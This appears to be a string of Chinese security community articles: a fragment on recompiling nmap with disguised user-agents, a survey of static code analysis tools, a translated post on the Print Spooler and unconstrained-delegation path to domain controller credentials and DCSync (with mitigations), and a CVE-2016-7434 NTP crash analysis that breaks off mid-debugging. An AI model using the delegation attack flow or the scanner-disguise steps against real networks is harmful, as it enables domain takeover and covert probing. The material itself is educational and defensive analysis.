* 修改nselib\ http.lua 默认user-agent
* nselib\sip.lua
sip ua 设置为 `FreeSWITCH-mod_sofia`
* scripts\ssl-heartbleed.nse
### 完成重新编译
./configure
make
make install
/nmap# ./nmap -version
Nmap version 7.70SVN ( https://nmap.org )
Platform: x86_64-unknown-linux-gnu
Compiled with: nmap-liblua-5.3.5 openssl-1.0.2g nmap-libssh2-1.8.2 libz-1.2.8 nmap-libpcre-7.6 libpcap-1.7.4 nmap-libdnet-1.12 ipv6
Compiled without:
Available nsock engines: epoll poll select | 社区文章 |
原文链接：<https://mp.weixin.qq.com/s/d9RzCFkYrW27m1_LkeA2rw>
## 背景
源代码安全检测是安全开发流程（SDL）中非常重要的一部分，在58集团的CI/CD流程中每天有数千次量级的构建及发布，白盒检测的自动化能力显得极为重要。企业级的白盒代码审计系统就不仅仅面临漏洞发现的需求，也需要适应企业CI/CD流程。由于58集团大部分业务使用自研的Java框架，本系列文章会重点介绍我们在Java白盒能力建设过程中的实践。
本文主要介绍58集团 Java白盒能力建设中的技术选型过程，分享我们对业内常见的商业、开源产品进行分析的情况。
## SAST简介
静态代码分析是指在不实际执行程序的情况下，对代码语义和行为进行分析，由此找出程序中由于错误的编码导致异常的程序语义或未定义的行为。通俗的说，静态代码分析就是在代码编写的同时就能找出代码的编码错误。你不需要等待所有代码编写完毕，也不需要构建运行环境，编写测试用例。它能在软件开发流程早期就发现代码中的各种问题，从而提高开发效率和软件质量。
静态AST（SAST）技术通常在编程和/或测试软件生命周期（SLC）阶段分析应用程序的源代码，字节代码或二进制代码以查找安全漏洞。
## 业内知名代码审计产品
### 知名商业产品
### 知名开源项目
## 技术选型思考
### 技术选型结果统计
我们出于自身需求，对常见的开源方案以及部分商业方案进行了一些选型统计
产品 | 是否开源 | 是否支Java AST | 是否支持跨文件 | 定制化需求难易度 | 是否Web项目友好 | 安全规则编写难度 |
是否支持代码质量检查 | 支持语言 | 可扩展性 | 是否侵入项目 | 是否支持Jar包扫描 | 是否支持移动端
---|---|---|---|---|---|---|---|---|---|---|---|---
Coverity | 否 | 是 | 是 | 极难，需要厂商支持 | 是 | 相对困难 | 支持 | 常见语言都支持 | 低，需厂商支持 | 否 | 是 |
否
SonarQube | 是 | 是 | 否 | 相对简单 | 是 | 相对简单 | 支持 | 常见语言都支持 | 高 | 否 | 否 | 否
FlowDroid | 是 | 是 | 是 | 相对困难 | 否 | 相对困难 | 支持 | Android/Java | 中 | 否 | 是 |
Android
ErrorProne | 是 | 是 | 是 | 相对困难 | 否 | 相对困难 | 支持 | Android/java | 中 | 是 | 是 |
Android
Infer | 是 | 是 | 是 | 相对困难 | 否 | 相对困难 | 支持 | Android/java | 中 | 是 | 是 | Android
Soot | 是 | 是 | 是 | 相对困难 | 否 | 相对困难 | 支持 | Android/java | 中 | 否 | 是 | Android
PMD | 是 | 是 | 否 | 相对简单 | 是 | 相对简单 | 支持 | java | 高 | 否 | 否 | 否
CodeQL | 半开源 | 是 | 是 | 中等 | 是 | 相对简单 | 支持 | 除php外常见语言 | 高 | 否 | 是 | 否
### 商业产品分析
Coverity、Fortify、CheckMarx
作为白盒静态扫描领域的领头产品，拥有极其深厚的技术积累以及专业的产品技术团队。其产品能力都为业界翘楚。笔者曾经和Coverity的售前及售后团队有过一定的交流，可以总结以上商业产品的优点及缺点
#### 优点
* 深厚的技术积累，产品能力强大，在SAST领域内少有不支持扫描的漏洞类型
* 售后团队专业，能较为理解用户需求
#### 缺点
* 定制化需求支持困难，引擎对用户不透明，需求提交给厂商相应时长为 Month ++
* 规则学习成本高，规则学习文档不完善，自定义规则困难
* 厂商以最大并发量授权license，弹性扩容能力差，存在成本浪费
* 漏洞模型难以适配每个用户自己内部的漏洞模型，难以准确处理误报、漏洞修复复查等业务需求
* 融入企业自身的CI/CD流程困难，数据模型需要企业自己转换
#### 实际案例
1、Converity的C/C++安全扫描依赖本地编译环境，需要研发使用Converity下发的扫描脚本进行编译扫描，但是扫描脚本对MacOS的版本适配一般都会delay
2~3个月，这就会造成MacOS一更新，对C/C++的安全扫描业务就会中断。Convertiy也未提供编译机的方案进行统一编译（有很多原因，比如编译参数、平台不一致难以统一编译）
2、Converity对代码的安全扫描并不只上报安全漏洞，代码的质量问题也会上报。但是Converity并未明显区分代码质量问题和安全漏洞，每个项目数千计数的代码质量问题和安全漏洞难以修复落地
### 开源产品分析
SonarQube、FindBugs、Chechstyle都是一些老牌开源静态代码扫描工具，但是这些工具都更偏向代码质量检查而非安全性检查。我们可以总结这些老牌开源产品的优点及缺点
#### 优点
* 源代码开源
* 适配Jenkins等持续集成软件
#### 缺点
* 没有跨文件AST能力，无法分析跨文件数据流和控制流
* 漏洞匹配模式导致误报非常高，难以落地运营
### 其他开源产品分析
#### ① FlowDroid
##### 现状分析
FlowDroid是一款使用Java实现的针对Android的静态污点分析框架，发表于PLDI'2014，截止撰文时间在Google
Scholar上显示已有1200+的引用，目前为Android静态污点分析的主流框架，代码开源并提供于GitHub。
##### 产品概要
Github仓库：<https://github.com/secure-software-engineering/FlowDroid>
##### 技术分析及使用
命令行使用
* github下载jar包soot-infoflow-cmd-jar-with-dependencies.jar；
* 命令行调用分析
java -jar soot-infoflow-cmd-jar-with-dependencies.jar \
-al 500 -mc 500 -md 500
-a <待分析的APK文件路径> \
-p <Android SDK平台目录路径> \
-s <污染源和Sink点的定义文件>
使用Maven构建FlowDroid
EXPORT ANDROID_JARS=<Android JAR folder>
EXPORT DROIDBENCH=<DroidBench folder>
mvn install
##### 优劣势
* 针对Android的开源框架，相比于跨语言的工具复杂性相对较低
* 工具封装仅支持apk的分析
* BenchMark强依赖于安卓相关的方法，用例也基于安卓的场景设计。安全相关的规则需要自行编写用例
#### ② ErrorProne
##### 现状分析
由Google出品，使用ErrorProne接管compiler,在代码编译时进行检查，并抛出错误中断执行。常用于静态的Java和Android
bug分析。
##### 产品概要
官方文档：<http://errorprone.info/>
github仓库：<https://github.com/google/error-prone>
##### 技术分析及使用
支持`Bazel` 、`Maven` 、`Gradle` 、`Ant` 、IDE扩展、命令行
等不同安装方式,以Maven为例，build时依赖`maven-compiler-plugin` 扩展，且需要关注JDK版本:
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
<fork>true</fork>
<compilerArgs combine.children="append">
<arg>-XDcompilePolicy=simple</arg>
<arg>-Xplugin:ErrorProne -Xep:DeadException:WARN -Xep:GuardedBy:OFF</arg>
<arg>-J-Xbootclasspath/p:${settings.localRepository}/com/google/errorprone/javac/9+181-r4173-1/javac-9+181-r4173-1.jar</arg>
</compilerArgs>
<annotationProcessorPaths>
<path>
<groupId>com.google.errorprone</groupId>
<artifactId>error_prone_core</artifactId>
<version>2.4.0</version>
</path>
</annotationProcessorPaths>
</configuration>
</plugin>
`bootclasspath` 参数的javac版本依据实际环境需要调整。
编译执行
mvn clean && mvn compile -e
如果扫描后未发现缺陷点，则构建通过:
如果发现缺陷点，将抛出`CompilationFailureException` 异常，且导致mvn构建失败:
##### 产品优劣势
* 需要手动侵入Maven工程项目的POM文件，且需要关注及适配编译器和版本等细节；
* 编译阶段扫描缺陷点，没有友好的导出方案，需要从compile failed异常中捞取信息及整理；
* 无法拿到完整的AST信息；
#### ③ Infer
##### 现状分析
Infer 是 Facebook 开源的静态程序分析工具，用于在发布移动应用之前对代码进行分析，找出潜在的问题。目前 Facebook 使用该工具来分析
Facebook 的 App，包括 Android 、iOS、Facebook Messenger 和 Instagram 等等
##### 产品概要
官方文档：<https://fbinfer.com/docs/getting-started/>
Github仓库：<https://github.com/facebook/infer>
安装较为简单，支持`MacOS` 和`Linux` ,以及`Docker Image`
部署:<https://fbinfer.com/docs/getting-started>
支持多语言，Java的Maven项目有专门支持:
* ant
* buck
* cc
* gradle
* java
* javac
* make
* mvn
* ndk-build
* xcodebuild
扫描调研
# 扫描前需先清理
mvn clean && infer -- mvn package
结果文件默认输出在项目的`infer-out/` 目录下，分析运行时间与项目相关(理想时间预计在10~20min)。
##### 优劣势
官方最新版本放弃了对AL(AST Language)的维护，并在后续版本中会删除AL功能:
<https://fbinfer.com/docs/checker-linters>
***\** DEPRECATED* _**_ On end-of-life support, may be removed in the future.
对于Github中用户提起的弃用原因，目前官方暂无正面回应：
<https://github.com/facebook/infer/issues/1325>
#### ④ Soot
##### 现状分析
soot是java优化框架，提供4种中间代码来`分析` 和`转换` 字节码：
* Baf：精简的字节码表示，操作简单
* Jimple：适用于优化的3-address中间表示
* Shimple：Jimple的SSA变体
* Grimple：适用于反编译和代码检查的Jimple汇总版本。
##### 产品概要
github仓库：<https://github.com/soot-oss/soot>
##### 技术分析及使用
支持分析的格式包含Java字节码(<=JDK9+)、Java源码(<=JDK7)、Android字节码、Jimple中间表示、Jasmin低级中间表示
分析功能支持CFG控制流图绘制、指针分析、Def/use chains、数据流分析、结合FlowDroid的污染分析
* 安装
在`Maven Central` 中下载所需版本的包：
<https://repo.maven.apache.org/maven2/org/soot-oss/soot/>
或者从java Doc的下载地址：
<https://soot-build.cs.uni-paderborn.de/public/origin/master/soot/soot-master/>
* 使用
# 变量声明
# soot的jar包路径
export SOOT_PATH=/path/to/soot/soot-4.2.1-jar-with-dependencies.jar
# soot分析时所需扫描的依赖类文件路径，多个按":"分割
# soot-class-path 只能精确到文件，不支持目录
export SOOT_CLASS_PATH=/path1/jar1.jar:/path2/jar2.jar
# 分析target/classes目录下的单个入口文件
java -cp $SOOT_PATH soot.Main -pp \
-cp .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH org.packageName.MainClassName
# 在字节码目录分析单个入口文件
java -cp $SOOT_PATH soot.Main -pp \
-cp .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH ClassName
# 分析当前目录
java -cp $SOOT_PATH soot.Main -pp \
-cp .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH -process-dir .
# 分析jar包
java -cp $SOOT_PATH soot.Main -pp \
-cp .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH -process-dir /path/to/jarFileName.jar
# 绘制入口文件的控制流图
java -cp $SOOT_PATH soot.tools.CFGViewer -pp \
--soot-class-path .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH \
--graph=BriefBlockGraph -d ./sootOutputGraphImg org.packageName.MainClassName
# 绘制整个目录的控制流图
java -cp $SOOT_PATH soot.tools.CFGViewer -pp \
--soot-class-path .:$JAVA_HOME/jre/lib/rt.jar:$SOOT_CLASS_PATH \
--graph=BriefBlockGraph -process-dir .
##### 输出格式参数
详细可参考<https://www.sable.mcgill.ca/soot/tutorial/usage/>
主要用到的几个参数：
* `-d` 输出目录路径，为指定使用默认路径为终端当前所在目录下的`./sootOutput` 文件夹
* `-f` 输出类型，默认输出.class文件
* J, jimple ，也是我们需要关注的IR中间表示，它位于Java源码和字节码之间，是基于类型的3地址格式
* X, xml
* c, class 经soot分析后重新生成的字节码
* t, template ，反编译还原的.java文件，也是基于Jimple生成的
* `-dump-cfg phaseName` 导出控制流图
* `phaseName`可指定导出阶段，如-dump-cfg jb -dump-cfg bb.lso 可导出 jb 和 bb.lso阶段的构建CFG。-dump-cfg ALL则导出所有阶段的
* 导出控制流图会触发soot的bug抛NPE异常，目前可以使用CFGViewer来导出方法签名粒度的控制流图
##### 优劣势
* 优势
* 支持Java字节码和源码的分析
* 支持Android代码的分析
* 可绘制可视化的控制流图
* 劣势
* soot的前端编译器已经过时，官方建议仅用作编译后文件的分析而不是源码分析
* 当前维护版本(4.2.1)依赖高版本JDK(JDK11)，且对JDK9+的字节码分析也存在bug，而旧版soot对JDK7及以下的源码分析更是缺乏维护
* 控制流图绘制不支持跨文件串联，而是依据包结构对每个文件生成对应的控制流图
#### ⑤PMD
##### 现状分析
PMD 是一个开源的静态代码分析工具。它用于分析一些常见的编程缺陷(未使用的变量、空捕获块、不必要的对象创建等)。
支持的语言：
* Java
* JavaScript
* Apex 和 Visualforce
* Modelica
* PLSQL
* Apache Velocity
* XML
* XSL
* Scala
##### 产品概要
官方文档：<https://pmd.github.io/>
Github仓库：<https://github.com/pmd/pmd>
##### 技术分析及使用
安装运行:
* 下载bin压缩包：<https://github.com/pmd/pmd/releases>
* 执行命令：
./run.sh pmd \
-d /path/to/待分析工程目录
-R /path/to/规则集文件.xml
-f text
* -f 取值：默认 `text` ，支持如`xml` 、`json` 、`html` 等。详见: <https://pmd.github.io/latest/pmd_userdocs_report_formats.html>
##### 规则集
* 编写示例
<?xml version="1.0"?>
<ruleset name="Custom Rules"
xmlns="http://pmd.sourceforge.net/ruleset/2.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pmd.sourceforge.net/ruleset/2.0.0 https://pmd.sourceforge.io/ruleset_2_0_0.xsd">
<description>
My custom rules
</description>
<!-- 规则存放处 -->
<!-- 这里使用了内置的java errorprone规则，检查空catch块 -->
<rule ref="category/java/errorprone.xml/EmptyCatchBlock" />
</ruleset>
* 规则分类
所有 PMD 内置规则都按照以下八个类别进行分类
**Best Practices 最佳实践** : 这些规则强制执行公认的最佳做法
**Code Style 代码风格** : 这些规则强制执行特定的编码风格
**Design 设计** : 这些规则帮助发现设计问题
**Documentation 文档** : 这些规则与代码文档有关
**Error Prone 易出错** : 用于检测破坏、极度混乱或容易出现运行时错误的构造的规则
**Multithreading 多线程** : 这些规则在处理多个执行线程时标记问题
**Performance 工作表现** : 这些规则标记未达到最佳标准的代码
**Security 安全** : 标记潜在安全缺陷的规则
详见Java的内置规则清单：<https://pmd.github.io/latest/pmd_rules_java.html>
* Security内置规则
Security相关的只有两个：
* 硬编码密钥
<rule ref="category/java/security.xml/HardCodedCryptoKey" />
* 不安全的加密初始化向量
<rule ref="category/java/security.xml/InsecureCryptoIv" />
##### 优劣势
* 优势
* 可分析多种语言的源码；
* 不需要参与代码编译；
* 劣势
* 不支持分析编译后文件；
* 内置安全规则较为薄弱，SAST所需规则均需要自定义编写；
### 白盒静态扫描战斗机——CodeQL
### 简介
CodeQL是 Github
安全实验室推出的一款静态代码分析引擎，其利用QL语言对代码、执行流程等进行“查询”，以此实现对代码的安全性白盒审计，进行漏洞挖掘
### 整体流程
* 通过适配各个语言的AST解析器，并将代码的AST解析结果按照预设好的数据模型将代码AST数据及其依赖关系存储到CodeDB里
* 通过QL语言定义污点追踪漏洞模型
* 执行QL时通过高效的搜索算法对CodeDB的AST元数据进行高效查询，从而在代码中搜索出漏洞结果
### 优点
* 以CodeDB的模式存储源代码数据，并提供高效的搜索算法及QL语言对漏洞进行查询，支持数据流与控制流，使用者无需考虑跨文件串联的算法难度
* 支持除PHP以外的常见语言类型
* QL规则开源且正在迭代，有很非常强的可扩展性及支持定制化规则能力
* QL规则有相应的文档学习，无需依赖厂商支持
* 可以深入Jar包进行漏洞扫描
### 缺点
* AST分析引擎不开源，无法针对AST的元数据进行调整修改，并且官方申明只用于研究用途，不允许企业集成至CI/CD流程
* 不支持运行时动态绑定的重载方法分析（其他SAST产品的也不支持）
* 不支持Resource文件的扫描，不做二次开发的情况下无法支持类似Mybatis XML配置的场景
* 不支持软件成分分析，无法结合软件版本进行漏洞判断
### 评价
CodeQL为白盒漏洞扫描提供了一些新的思路
* 通过格式化AST数据将它们进行结构化存储，再通过高效率的有向图搜索/裁剪算法支持对这些元数据进行基本查询
* 通过对不同语言的适配，把一些常用的查询封装成QL语言，对AST数据进行一种类SQL的查询
* 通过QL语言定义漏洞查询三元组<sources,sinks,sanitizers>（即污点追踪）可进行漏洞查询建模，并且由于查询可以直接搜索AST元数据，可以对DataFlow以及ControlFlow进行更细致的判断，以减少误报、漏报
* 通过悬赏开源社区收录QL规则，保障了规则的迭代更新
* 通过CodeQL的开源规则以及Github庞大的开源代码及迭代数据，实现打标能力为后续LGTM平台的神经网络学习提供学习样本
## 总结
在调研了大量的开源SAST的产品方案后，我们发现CodeQL作为Github安全实验室的产品，基本上代表了开源产品的在SAST领域的最佳实践（LGTM平台化及平台里AI训练场景暂不讨论），但由于官方申明不支持企业集成到CI/CD流程，于是我们选择参照CodeQL的设计思路，使用Spoon（Java
AST解析器）加上自研跨文件串联能力作为扫描引擎的自研方案。后面的文章我们将详细分析SAST的技术原理以及58基础安全团队学习CodeQL的过程及教程输出。
扫码关注58安全应急响应中心官方微信公众号，第一时间获得最新消息 | 社区文章 |
原文：<https://adsecurity.org/?p=4056>
在近期举行的[DerbyCon](https://www.derbycon.com/ "DerbyCon") 8（2018年）会议上，Will
Schroeder ([@Harmj0y](https://twitter.com/harmj0y "@Harmj0y"))、Lee Christensen
([@Tifkin_](https://twitter.com/tifkin_ "@Tifkin_"))和Matt Nelson
([@enigma0x3](https://twitter.com/enigma0x3
"@enigma0x3"))探讨了信任AD所带来的意外风险。其中，他们提到了许多非常有趣的获取持久性和提权方法，不过，有一项内容引起了我的特别关注。
**概述**
* * *
Lee想出了一个场景，其中有一个帐户配置了无约束委派授权（这是相当常见的），并且在计算机上运行了Print
Spooler服务，这样的话，我们就能够以用户的身份获取到发送给具有无约束委派授权的系统的身份验证信息。
我们发现，在审查和工作的环境中，约有90％都配置了某种Kerberos委派授权，大约75％的环境配置了无约束委派授权。无论是在2015年[Black
Hat](https://adsecurity.org/?p=1661 "Black
Hat")的演讲（以及[随后的演讲](https://adsecurity.org/wp-content/uploads/2017/04/2017-SparkCon-CurrentStateofADSecurity-Metcalf-Final.pdf "随后的演讲")）中，以及这里的[文章](https://adsecurity.org/?p=1667
"文章")中，我都指出并强调了无约束委派授权所引发的安全问题。
我们可以利用下面的PowerShell命令，查找具有Kerberos委派授权的帐户（需要用到AD PowerShell模块）：
Get-ADObject -filter { (UserAccountControl -BAND 0x0080000) -OR (UserAccountControl -BAND 0x1000000) -OR (msDS-AllowedToDelegateTo -like '*') } -prop Name,ObjectClass,PrimaryGroupID,UserAccountControl,ServicePrincipalName,msDS-AllowedToDelegateTo
**攻击情形**
* * *
攻击者找到了一个具有Kerberos无约束委派授权的系统，并攻陷了该系统。然后，攻击者向域控制器发送“RpcRemoteFindFirstPrinterChangeNotification”请求，这时，该域控制器就会对请求者的测试通信进行响应。如果域控制器正在运行Print
Spooler（Spooler）服务，那就有好戏看了（实际上，通过测试就可以轻松找到1个运行此服务的DC，这绝非难事）。
Lee解释说，问题是任何经过身份验证的用户都可以远程连接到域控制器的打印服务器（假脱机程序服务），并请求对一个新的打印作业进行更新，并令其将该通知发送给具有无约束委派授权的系统。之后，它会将立即测试该连接，从而暴露计算机帐户凭证（因为打印假脱机程序的属主为SYSTEM）。Lee指出，微软表示系统就是这样设计的，“无需修复”。
Lee在Github上公布了名为SpoolSample的PoC示例[代码](https://github.com/leechristensen/SpoolSample
"代码")。
从概念层次来讲，攻击流程为：
1. 攻击者发现并攻陷了一个具有Kerberos无约束委派授权的系统。
2. 攻击者通过测试找到了一台运行Print Spooler（Spooler）服务的域控制器。
3. 攻击者将MS-RPRN请求RpcRemoteFindFirstPrinterChangeNotification（Kerberos auth）发送到控制服务器的打印服务器。
4. DC立即向请求者发送响应。该响应包含DC创建Kerberos服务票证（TGS），包括域控制器的计算机帐户Kerberos身份验证票证（TGT），这是因为这里涉及到Kerberos，并且请求帐户被配置了无约束委派授权。
5. 由于攻击者已经拥有了域控制器计算机帐户Kerberos TGT，因此，可将其用于冒充DC。
6. DCSync所有帐户身份验证信息（或根据需要，利用DA身份验证信息发动其他攻击）。
概念验证流程如图所示：
正如他们在谈话中提到的，要想攻击得手，需要满足的“要素”为:
1. 具有Kerberos无约束委派授权的帐户。
2. 能够攻陷该帐户。
3. 域控制器作为打印服务器运行（Print Spooler服务正在运行）。
**缓解措施**
* * *
* 域控制器和AD管理系统需要禁用Print Spooler服务。
* 从帐户中删除不受约束的委派授权，而换之以约束委派授权。
请注意，虽然本文关注的重点是域控制器，但所有服务器都可能面临遭受这种攻击的风险。
通过在所有不需要运行打印假脱机服务的服务器上禁用该服务来缓解问题，并确保没有为任何账户配置无约束委派授权。
在此，我们要特别感谢Will、Lee和Matt的精彩演讲！
**相关的幻灯片**
<https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory>
**相关视频**
<https://youtu.be/-bcWZQCLk_4?t=2194> | 社区文章 |
# 【漏洞分析】搞事的NTP----CVE-2016-7434漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **k0pwn_ko**
****](http://bobao.360.cn/member/contribute?uid=1353169030)
**预估稿费：700RMB（不服你也来投稿啊！）**
********投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:linwei@360.cn) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿****
**前言**
最近这一段时间，NTP又搞事情了，很多安全媒体也进行了报道，很多NTP漏洞都很有意思，NTP是一个网络时间协议，用来同步各个计算机之间的时间，有一些DDoS就是利用NTP放大攻击来进行的。同样，这段时间连续爆出了多个NTP的拒绝服务漏洞，通过这种漏洞，可以造成NTP服务，甚至NTP服务器拒绝服务，之前Freebuf上面有过一篇关于Windows
NTP拒绝服务漏洞的报道。
<http://www.freebuf.com/vuls/121129.html>
讲的是Windows下的一个NTP拒绝服务漏洞CVE-2016-9311，后来我在CNVD也看到了一篇公告，关于NTP拒绝服务漏洞的。
<http://www.cnvd.org.cn/webinfo/show/3992>
而我选取了其中一个Linux下的NTP拒绝服务漏洞CVE-2016-7434来进行完整分析，这个漏洞在复现的过程中发现不需要进行任何设置即可达到漏洞利用的效果，当然了，在ntp.org11月发布的最新版4.2.8p9中修复了这个漏洞，而4.2.8p8则受此漏洞影响。
**NTP协议浅析与CVE-2016-7434**
关于客户端和NTP服务器之间的NTP协议交互，同步时间的过程我不再详细说明了，用一副图可以简要说明时间同步的过程，在这个过程中，数据采取NTP协议传输，而与服务器交互的端口是123端口。
我们下载NTP 4.2.8p8，通过tar解压之后，用configure、make、make install进行安装，安装后，通过./ntpd -n -c
[ntp.conf path]的方法运行ntpd，很多Linux系统自带NTP，需要切换到NTPD目录下执行该目录下的NTP才能确保版本是有问题的版本。
我们来看一下NTP协议格式。
关于NTP协议每一个字段的含义，网上都有相关解释，这里我就不再赘述，在这中间，涉及到一个Mode，它代表着工作模式，这里值得一提的是，在以前的NTP协议中，通常用Mode7的monlist特性来响应NTP请求，但是由于monlist存在漏洞，可以利用这个漏洞来进行NTP放大攻击，也就是DDoS，后来monlist特性被禁止了，被改成Mode6的mrulist特性，以此避免NTP放大攻击，而这次漏洞，就是由于mrulist导致的。
我们通过CVE-2016-7434的Payload发送一个畸形数据包，同时抓包分析数据。
可以看到，第一个字节是16，转换成二进制就是00010110，根据之前对于NTP协议格式的分析，第0、1比特代表的是Leap
Indicator，当这个值为11的时候是告警状态，代表时间同步出现问题，其他则不处理，这里是00；随后第2、3、4比特是010，代表的是版本，之后的5、6、7比特110代表的是Mode，这里也就是6，代表着mrulist特性处理。
**CVE-2016-7434漏洞分析**
我们在Linux下用gdb attach的方法附加ntpd，发送payload之后，gdb捕获到ntpd崩溃。
通过bt命令，来回溯一下崩溃前的堆栈调用情况
__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
50../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S: No such file or directory.
(gdb) bt
#0 __strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:50
#1 0x080948f0 in estrdup_impl (str=0x0) at emalloc.c:128
#2 0x0805f9b3 in read_mru_list (rbufp=0x89d3dd8, restrict_mask=0)
at ntp_control.c:4041
#3 0x0806a694 in receive (rbufp=0x89d3dd8) at ntp_proto.c:659
#4 0x080598f7 in ntpdmain (argc=0, argv=0xbff16c94) at ntpd.c:1329
#5 0x0804af9b in main (argc=4, argv=0xbff16c84) at ntpd.c:392
可以看到，在#1位置调用了emalloc.c中的estrdup_impl，参数str的值是0x0，直接看一下emalloc.c中对应部分的代码。
char *
estrdup_impl(
const char *str
#ifdef EREALLOC_CALLSITE
,
const char *file,
intline
#endif
)
{
char *copy;
size_tbytes;
bytes = strlen(str) + 1;
这里假如str的值是0x0的话，在strlen的部分会读取0x0地址位置存放的值长度，这个位置是不可读的。
gdb-peda$ x/10x 0x0
0x0: Cannot access memory at address 0x0
因此造成了拒绝服务的发生，在estrdup_impl调用之前，调用到了read_mru_list，这个函数就是处理mrulist特性的函数，而在这个函数之前调用了ntpdmain和receive函数用于接收。
来看一下read_mru_list处理mrulist特性的函数内容，在ntp_control.c中第4034行。
while (NULL != (v = ctl_getitem(in_parms, &val)) &&
!(EOV & v->flags)) {
int si;
if (!strcmp(nonce_text, v->text)) {
if (NULL != pnonce)
free(pnonce);
pnonce = estrdup(val);
这里在pnonce变量赋值位置调用了estrdup，也就是发生问题的函数调用，那么val的值就是0x0，在跟踪read_mru_list中，发现在函数入口处声明了val变量，之后在while循环入口，调用了ctl_getitem函数，其中val作为参数，之后就是estrdup的函数调用，也就是说，ctl_getitem函数中会对val变量进行赋值。
来看一下ctl_getitem的函数内容。
/*
* ctl_getitem - get the next data item from the incoming packet
*/
static const struct ctl_var *
ctl_getitem(
const struct ctl_var *var_list,
char **data
)
ctl_getitem的函数内容就是从数据包中获取下一个数据块内容，其中，data值就是我们关心的val值，下面我们动态跟踪一下val值获取的过程。首先，在read_mru_list处理mrulist特性的函数逻辑入口下断点跟踪。
在函数入口处，首先对可能在数据包中获取的块的名称进行赋值。
const charnonce_text[] ="nonce";
const charfrags_text[] ="frags";
const charlimit_text[] ="limit";
const charmincount_text[] ="mincount";
const charresall_text[] ="resall";
const charresany_text[] ="resany";
const charmaxlstint_text[] ="maxlstint";
const charladdr_text[] ="laddr";
const charresaxx_fmt[] ="0x%hx";
单步跟踪，可以看到调用了set_var进行一系列赋值
gdb-peda$ n
Program received signal SIGALRM, Alarm clock.
[----------------------------------registers-----------------------------------]
EAX: 0xbfade1e0 --> 0x99e98d0 --> 0x0
EBX: 0xbfade310 --> 0xa ('n')
ECX: 0x6
EDX: 0xbfade1ee ("frags")
ESI: 0x0
EDI: 0x74 ('t')
EBP: 0xbfade568 --> 0x99e6ddc --> 0x10920002
ESP: 0xbfade190 --> 0x0
EIP: 0x805f765 (<read_mru_list+357>: call 0x805ed90 <set_var>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x805f753 <read_mru_list+339>: lea eax,[ebp-0x388]
0x805f759 <read_mru_list+345>: mov ecx,0x6
0x805f75e <read_mru_list+350>: mov DWORD PTR [esp],0x0
=> 0x805f765 <read_mru_list+357>: call 0x805ed90 <set_var>
0x805f76a <read_mru_list+362>: lea edx,[ebp-0x374]
0x805f770 <read_mru_list+368>: lea eax,[ebp-0x388]
0x805f776 <read_mru_list+374>: mov ecx,0x6
0x805f77b <read_mru_list+379>: mov DWORD PTR [esp],0x0
Breakpoint 3, 0x0805f765 in set_var (def=0x0, size=0x6,
data=0xbfade1ee "frags", kv=0xbfade1e0) at ntp_control.c:4014
这里赋值的内容是frags，其实这里调用了很多set_var，主要是对in_parms进行初始化。
/*
* fill in_parms var list with all possible input parameters.
*/
in_parms = NULL;
set_var(&in_parms, nonce_text, sizeof(nonce_text), 0);
set_var(&in_parms, frags_text, sizeof(frags_text), 0);
set_var(&in_parms, limit_text, sizeof(limit_text), 0);
set_var(&in_parms, mincount_text, sizeof(mincount_text), 0);
set_var(&in_parms, resall_text, sizeof(resall_text), 0);
set_var(&in_parms, resany_text, sizeof(resany_text), 0);
set_var(&in_parms, maxlstint_text, sizeof(maxlstint_text), 0);
set_var(&in_parms, laddr_text, sizeof(laddr_text), 0);
初始化之后，会开始处理数据包中Data部分的数据，其中会分别获取每一个小块。
gdb-peda$ n
Program received signal SIGALRM, Alarm clock.
[----------------------------------registers-----------------------------------]
EAX: 0x99ea4e0 --> 0x0
EBX: 0xbfade310 ("addr.15")
ECX: 0x0
EDX: 0xbfade1e4 --> 0x0
ESI: 0x10
EDI: 0xbfade550 --> 0x8058ff0 (<finish>:mov eax,DWORD PTR [esp+0x4])
EBP: 0xbfade568 --> 0x99e6ddc --> 0x10920002
ESP: 0xbfade19c --> 0x805f961 (<read_mru_list+865>:test eax,eax)
EIP: 0x805a440 (<ctl_getitem>:push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x805a43b:xchg ax,ax
0x805a43d:xchg ax,ax
0x805a43f:nop
=> 0x805a440 <ctl_getitem>:push ebp
0x805a441 <ctl_getitem+1>:push edi
0x805a442 <ctl_getitem+2>:push esi
0x805a443 <ctl_getitem+3>:push ebx
0x805a444 <ctl_getitem+4>:sub esp,0x1c
Breakpoint 6, ctl_getitem (var_list=0x99ea4e0,
data=data@entry=0xbfade1e4) at ntp_control.c:3083
这里data就是in_parms的值，而var_list就是val的值，来看一下函数进入时值。
gdb-peda$ x/10s 0xbfade1e4
0xbfade1e4: ""
0xbfade1e5: ""
0xbfade1e6: ""
0xbfade1e7: ""
0xbfade1e8: "nonce"
0xbfade1ee: "frags"
0xbfade1f4: "limit"
0xbfade1fa: "laddr"
0xbfade200: "0x%hx"
这里data部分就是之前初始化in_parms用于存放后续做比较的所有块的名称，而val的值是0x0.
通过调用ctl_getitem来获取下一个小块的内容，而返回值v，就是下一小块的起始地址，val是下一小块存放内容的地址值。首先会对小块进行切割，以逗号作为结束标志，以等于号作为值判断的标志。
gdb-peda$ next
Program received signal SIGALRM, Alarm clock.
[----------------------------------registers-----------------------------------]
